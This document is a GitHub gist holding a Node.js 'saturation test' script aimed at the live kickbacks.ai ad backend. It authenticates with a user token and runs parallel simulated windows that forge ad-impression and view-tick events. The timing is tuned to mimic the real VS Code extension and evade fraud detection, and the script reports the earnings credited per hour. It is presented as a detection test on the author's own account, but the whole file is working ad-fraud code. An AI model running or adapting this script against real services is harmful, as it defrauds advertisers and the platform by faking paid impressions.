# kickbacks.ai realistic multi-window saturation test (impression-integrity PoC)

> Source: <https://gist.github.com/Isolyth/4685e7a55569a95dffdf9cc8319e60e8>
> Published: 2026-06-11 23:52:33+00:00

| // Massed, realistic-timing, parallel fraud test against the REAL kickbacks backend. | |
| // | |
| // This tests whether new server-side detections (per-account aggregate checks, | |
| // duty-cycle heuristics, concurrency limits, etc.) can stop a multi-window | |
| // saturation attack that is *byte-for-byte indistinguishable* from the real | |
| // VS Code extension's traffic. | |
| // | |
| // What it does: | |
| // * Authenticates as YOUR account via KICKBACKS_TOKEN (from signin.mjs or | |
| // signin-email.mjs). | |
| // * Pulls the live ad portfolio to learn queue depth K + session_tokens. | |
| // * Spawns K parallel "windows" — one per ad — each emitting the exact event | |
| // sequence the real extension uses, with realistic choppy cadence. | |
| // * Tracks credited events vs. rejected/throttled/capped in real time. | |
| // | |
| // Realism (faithful to cliTick.ts / statusBarAd.ts / portfolio/client.ts): | |
| // * Shows are SHORT and irregular — mostly <5s (zero view_ticks), some | |
| // medium, rare long — not a metronome. | |
| // * view_tick intervals have positive jitter (>= 5000ms), never early. | |
| // * visible_ms on view_tick is true accrued wall-clock time, not fabricated. | |
| // * impression_viewable closes a show with an ODD duration, never a clean | |
| // multiple of 5000. | |
| // * Gaps between shows mimic think → idle transitions. | |
| // * Surfaces alternate (statusbar / statusline) across windows. | |
| // * A 60s continuous show cap + 20s rest cycle is enforced per window. | |
| // | |
| // Requires explicit opt-in so it can never run by accident: | |
| // export KICKBACKS_TOKEN='...' | |
| // node attack-real.mjs --yes-i-own-this-account | |
| // | |
| // Environment: | |
| // KICKBACKS_TOKEN bearer token (required) | |
| // KICKBACKS_BASE backend base URL (default: live) | |
| // DURATION_MS test duration in ms (default 120_000 = 2 min) | |
| // KICKBACKS_WINDOW_COUNT window count (default 4) | |
| // KICKBACKS_QUIET "1" to suppress per-event logging | |
| import { randomUUID } from "node:crypto"; | |
| // ── safety: explicit opt-in ───────────────────────────────────────────────── | |
| if (!process.argv.includes("--yes-i-own-this-account")) { | |
| console.error("refusing to run without --yes-i-own-this-account"); | |
| process.exit(2); | |
| } | |
| const TOKEN = process.env.KICKBACKS_TOKEN; | |
| if (!TOKEN) { console.error("set KICKBACKS_TOKEN (run signin.mjs or signin-email.mjs first)"); process.exit(2); } | |
| const BASE = process.env.KICKBACKS_BASE | |
| || "https://kickbacks-backend-gmdaqm2c7q-uw.a.run.app"; | |
| const CC_VERSION = process.env.KICKBACKS_CC_VERSION || "2.1.173"; | |
| const EXT_VERSION = process.env.KICKBACKS_EXT_VERSION || "0.4.0"; | |
| const DURATION_MS = Number(process.env.DURATION_MS || 120_000); | |
| const FORCED_K = process.env.KICKBACKS_WINDOW_COUNT | |
| ? Number(process.env.KICKBACKS_WINDOW_COUNT) : 4; | |
| const QUIET = process.env.KICKBACKS_QUIET === "1"; | |
| const CLIENT_ID = `install-${randomUUID().slice(0, 4)}`; | |
| // ── faithful constants (cliTick.ts / statusBarAd.ts) ───────────────────────── | |
| const POLL_MS = 1_000; | |
| const VIEW_TICK_MS = 5_000; | |
| const FRESH_ACTIVITY_MS = 4_000; | |
| const VISIBLE_GAP_CAP_MS = 2_000; // suspend clamp per poll tick | |
| const AD_SHOW_MAX_MS = 60_000; // max continuous show | |
| const AD_REST_MS = 20_000; // rest after hitting max | |
| const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); | |
| const tickGap = () => VIEW_TICK_MS + Math.random() * 800; // always >= 5000ms | |
| // ── helpers ───────────────────────────────────────────────────────────────── | |
| const authed = (extra = {}) => ({ authorization: `Bearer ${TOKEN}`, ...extra }); | |
| async function getPortfolio() { | |
| const r = await fetch(`${BASE}/v1/portfolio?claude_code_version=${CC_VERSION}`, { | |
| headers: authed(), | |
| }); | |
| if (!r.ok) throw new Error(`portfolio HTTP ${r.status}`); | |
| return r.json(); | |
| } | |
| async function getEarnings() { | |
| const r = await fetch(`${BASE}/v1/earnings`, { headers: authed() }); | |
| if (!r.ok) return null; | |
| return r.json(); | |
| } | |
| async function fireEvent(ad, type, { visibleMs, surface = "statusbar" } = {}) { | |
| const body = { | |
| event_type: type, | |
| ad_id: ad.ad_id, | |
| campaign_id: ad.campaign_id, | |
| client_id: CLIENT_ID, | |
| ts: new Date().toISOString(), | |
| claude_code_version: CC_VERSION, | |
| extension_version: EXT_VERSION, | |
| nonce: randomUUID(), | |
| surface, | |
| ...(visibleMs != null | |
| ? { | |
| visible_ms: Math.round(visibleMs), | |
| view_pct: 100, | |
| viewable: true, | |
| } | |
| : {}), | |
| session_token: ad.session_token, | |
| }; | |
| const t0 = performance.now(); | |
| const r = await fetch(`${BASE}/v1/metrics`, { | |
| method: "POST", | |
| headers: authed({ "content-type": "application/json" }), | |
| body: JSON.stringify(body), | |
| }); | |
| const latency = performance.now() - t0; | |
| let j; | |
| try { j = await r.json(); } catch { j = {}; } | |
| const didCredit = !!j.credited; | |
| const reason = j.reason || (r.ok ? "ok" : `HTTP_${r.status}`); | |
| if (!QUIET) { | |
| const tag = didCredit ? "CREDITED" : reason; | |
| console.log( | |
| ` [${surface}] ${type.padEnd(20)} ad=${ad.ad_id.padEnd(10)} ` + | |
| `ms=${String(body.visible_ms ?? "—").padStart(6)} ` + | |
| `lat=${latency.toFixed(0)}ms ${tag}` | |
| ); | |
| } | |
| return { didCredit, reason, latency, status: r.status }; | |
| } | |
| // ── realistic show-length distribution ─────────────────────────────────────── | |
| function sampleShowLen() { | |
| const r = Math.random(); | |
| if (r < 0.55) return 400 + Math.random() * 4_000; // <5s => 0 view_ticks | |
| if (r < 0.88) return 5_000 + Math.random() * 18_000; // medium | |
| return 20_000 + Math.random() * 35_000; // long (will hit cap) | |
| } | |
| // ── one "window" pinned to one ad ──────────────────────────────────────────── | |
| async function runWindow(ad, surface, deadline, counters) { | |
| let showCount = 0; | |
| while (Date.now() < deadline) { | |
| const showLen = sampleShowLen(); | |
| const showStart = Date.now(); | |
| const showDeadline = showStart + showLen; | |
| // continuous-show cap: if this show exceeds 60s, cut at 60s then rest 20s | |
| const effectiveShowMax = Math.min(showDeadline, showStart + AD_SHOW_MAX_MS); | |
| await fireEvent(ad, "impression_rendered", { surface }); | |
| counters.rendered++; | |
| let lastTick = showStart; | |
| let nextGap = tickGap(); | |
| let accruedMs = 0; | |
| while (Date.now() < effectiveShowMax && Date.now() < deadline) { | |
| await sleep(180); // ~ the 1s poll, finer grain | |
| const now = Date.now(); | |
| const delta = now - lastTick; | |
| // simulate the VISIBLE_GAP_CAP_MS clamp the real client applies | |
| const cappedDelta = Math.min(delta, VISIBLE_GAP_CAP_MS); | |
| accruedMs += cappedDelta; | |
| lastTick = now; | |
| if (now - showStart >= nextGap) { | |
| const res = await fireEvent(ad, "view_tick", { surface, visibleMs: accruedMs }); | |
| counters.viewTick++; | |
| if (res.didCredit) counters.credited++; | |
| if (!res.didCredit) counters.rejected++; | |
| if (res.reason && res.reason !== "credited" && res.reason !== "ok") { | |
| counters.reasons[res.reason] = (counters.reasons[res.reason] || 0) + 1; | |
| } | |
| nextGap += tickGap(); | |
| } | |
| } | |
| const actualShowMs = Date.now() - showStart; | |
| const res = await fireEvent(ad, "impression_viewable", { | |
| surface, | |
| visibleMs: actualShowMs, | |
| }); | |
| counters.viewable++; | |
| if (res.didCredit) counters.credited++; | |
| if (!res.didCredit) counters.rejected++; | |
| if (res.reason && res.reason !== "credited" && res.reason !== "ok") { | |
| counters.reasons[res.reason] = (counters.reasons[res.reason] || 0) + 1; | |
| } | |
| showCount++; | |
| // if we hit the 60s cap, enforce the 20s rest | |
| const hitCap = actualShowMs >= AD_SHOW_MAX_MS - 500; | |
| if (hitCap) { | |
| const restUntil = Date.now() + AD_REST_MS; | |
| while (Date.now() < restUntil && Date.now() < deadline) await sleep(200); | |
| } else { | |
| // normal think -> idle gap | |
| const idleMs = 800 + Math.random() * 3_200; | |
| const idleUntil = Date.now() + idleMs; | |
| while (Date.now() < idleUntil && Date.now() < deadline) await sleep(200); | |
| } | |
| } | |
| counters.shows += showCount; | |
| } | |
| // ── main ───────────────────────────────────────────────────────────────────── | |
| async function main() { | |
| console.log(`\n[attack-real] base = ${BASE}`); | |
| console.log(`[attack-real] duration = ${DURATION_MS}ms client_id = ${CLIENT_ID}`); | |
| const before = await getEarnings(); | |
| if (!before) { console.error("[attack-real] could not read earnings — is the token valid?"); process.exit(1); } | |
| console.log(`[attack-real] before lifetime=$${before.lifetime_usd} today=$${before.today_usd}\n`); | |
| const portfolio = await getPortfolio(); | |
| const ads = portfolio.ads || []; | |
| if (!ads.length) { console.error("[attack-real] empty portfolio"); process.exit(1); } | |
| const K = FORCED_K ?? ads.length; | |
| const windows = ads.slice(0, K); | |
| console.log(`[attack-real] queue depth K = ${ads.length} windows = ${K}`); | |
| console.log(`[attack-real] ads = [${windows.map((a) => a.ad_id).join(", ")}]\n`); | |
| const counters = { | |
| rendered: 0, viewTick: 0, viewable: 0, | |
| credited: 0, rejected: 0, shows: 0, reasons: {}, | |
| }; | |
| const deadline = Date.now() + DURATION_MS; | |
| const startWall = Date.now(); | |
| console.log("[attack-real] firing windows … (Ctrl-C to abort)\n"); | |
| // run all windows concurrently on the SAME account | |
| await Promise.all( | |
| windows.map((ad, i) => | |
| runWindow(ad, i % 2 ? "statusline" : "statusbar", deadline, counters) | |
| ) | |
| ); | |
| const wallElapsed = Date.now() - startWall; | |
| // settle + final earnings | |
| console.log("\n[attack-real] polling earnings to let async credits settle …"); | |
| let after = before; | |
| for (let i = 0; i < 6; i++) { | |
| await sleep(2_000); | |
| const e = await getEarnings(); | |
| if (e) after = e; | |
| } | |
| const lifetimeDelta = | |
| parseFloat(after.lifetime_usd || "0") - parseFloat(before.lifetime_usd || "0"); | |
| const todayDelta = | |
| parseFloat(after.today_usd || "0") - parseFloat(before.today_usd || "0"); | |
| const eventTotal = counters.rendered + counters.viewTick + counters.viewable; | |
| const creditRate = counters.credited / Math.max(1, wallElapsed / 1000); | |
| const estimatedPerHour = lifetimeDelta / Math.max(1, wallElapsed / 3_600_000); | |
| console.log("\n" + "═".repeat(72)); | |
| console.log(" RESULTS"); | |
| console.log("═".repeat(72)); | |
| console.log(` wall-clock elapsed : ${(wallElapsed / 1000).toFixed(1)}s`); | |
| console.log(` events sent : ${eventTotal}`); | |
| console.log(` impression_rendered : ${counters.rendered}`); | |
| console.log(` view_tick : ${counters.viewTick}`); | |
| console.log(` impression_viewable : ${counters.viewable}`); | |
| console.log(` shows completed : ${counters.shows}`); | |
| console.log(` credited events : ${counters.credited}`); | |
| console.log(` rejected/ignored : ${counters.rejected}`); | |
| console.log(` credit rate : ${creditRate.toFixed(2)} events/sec`); | |
| console.log(` ──────────────────────────────────────────────────────────────────────`); | |
| console.log(` lifetime before : $${before.lifetime_usd}`); | |
| console.log(` lifetime after : $${after.lifetime_usd}`); | |
| console.log(` lifetime Δ : $${lifetimeDelta.toFixed(6)}`); | |
| console.log(` today Δ : $${todayDelta.toFixed(6)}`); | |
| console.log(` extrapolated /hour : ~$${estimatedPerHour.toFixed(4)}`); | |
| console.log(" ──────────────────────────────────────────────────────────────────────"); | |
| if (Object.keys(counters.reasons).length) { | |
| console.log(" rejection reasons:"); | |
| for (const [reason, count] of Object.entries(counters.reasons).sort((a, b) => b[1] - a[1])) { | |
| console.log(` ${reason.padEnd(18)} : ${count}`); | |
| } | |
| } | |
| // verdict | |
| const pass = counters.credited > 0; | |
| const throttled = (counters.reasons.cooldown || 0) > 0; | |
| const capped = (counters.reasons.daily_cap || 0) > 0; | |
| console.log(" ──────────────────────────────────────────────────────────────────────"); | |
| if (capped) { | |
| console.log(" VERDICT: DAILY CAP hit — the economic brake is engaged."); | |
| } else if (throttled && counters.credited > 0) { | |
| console.log(" VERDICT: COOLDOWN active but credits still flow (expected behavior)."); | |
| } else if (!throttled && !capped && counters.rejected > 0) { | |
| console.log(" VERDICT: events were REJECTED with no cooldown/cap — a new detection may be active."); | |
| } else if (pass) { | |
| console.log(" VERDICT: CREDITS FLOW — no new detection blocked the attack."); | |
| } else { | |
| console.log(" VERDICT: ZERO credits — either cooldown saturation or a new block."); | |
| } | |
| console.log("═".repeat(72) + "\n"); | |
| process.exit(pass ? 0 : 1); | |
| } | |
| main().catch((e) => { console.error(e); process.exit(1); }); |
